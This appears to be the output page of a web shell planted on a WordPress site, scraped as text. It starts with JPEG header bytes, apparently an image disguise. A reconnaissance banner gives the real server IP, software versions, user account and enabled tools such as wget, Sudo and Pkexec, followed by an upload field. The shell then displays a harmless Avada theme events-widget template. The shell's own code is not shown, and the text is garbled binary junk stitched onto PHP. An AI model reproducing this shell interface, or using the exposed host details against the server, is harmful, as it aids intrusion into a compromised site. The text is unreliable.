????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.147.52.13 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/themes/Avada/tribe-events/widgets/ |
Upload File : |
<?php /** * Events List Widget Template * This is the template for the output of the events list widget. * All the items are turned on and off through the widget admin. * There is currently no default styling, which is needed. * * This view contains the filters required to create an effective events list widget view. * * You can recreate an ENTIRELY new events list widget view by doing a template override, * and placing a list-widget.php file in a tribe-events/widgets/ directory * within your theme directory, which will override the /views/widgets/list-widget.php. * * You can use any or all filters included in this file or create your own filters in * your functions.php. In order to modify or extend a single filter, please see our * readme on templates hooks and filters (TO-DO) * * @return string * * @package TribeEventsCalendar * */ if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } $events_label_plural = tribe_get_event_label_plural(); $posts = tribe_get_list_widget_events(); // Check if any event posts are found. if ( $posts ) : ?> <ol class="hfeed vcalendar"> <?php // Setup the post data for each event. foreach ( $posts as $post ) : setup_postdata( $post ); ?> <li class="tribe-events-list-widget-events <?php tribe_events_event_classes() ?>"> <?php if ( has_post_thumbnail() ) { echo tribe_event_featured_image( get_the_ID(), 'recent-works-thumbnail', false ); } ?> <div class="fusion-tribe-events-list-content"> <?php do_action( 'tribe_events_list_widget_before_the_event_title' ); ?> <!-- Event Title --> <h4 class="entry-title summary"> <a href="<?php echo esc_url( tribe_get_event_link() ); ?>" rel="bookmark"><?php the_title(); ?></a> </h4> <?php do_action( 'tribe_events_list_widget_after_the_event_title' ); ?> <!-- Event Time --> <?php do_action( 'tribe_events_list_widget_before_the_meta' ) ?> <div class="duration"> <?php echo tribe_events_event_schedule_details(); ?> </div> <?php do_action( 'tribe_events_list_widget_after_the_meta' ) ?> </div> </li> <?php endforeach; ?> </ol><!-- .hfeed --> <p class="tribe-events-widget-link"> <a href="<?php echo esc_url( tribe_get_events_link() ); ?>" rel="bookmark"><?php printf( __( 'View All %s', 'the-events-calendar' ), $events_label_plural ); ?></a> </p> <?php // No events were found. else : ?> <p><?php printf( __( 'There are no upcoming %s at this time.', 'the-events-calendar' ), strtolower( $events_label_plural ) ); ?></p> <?php endif;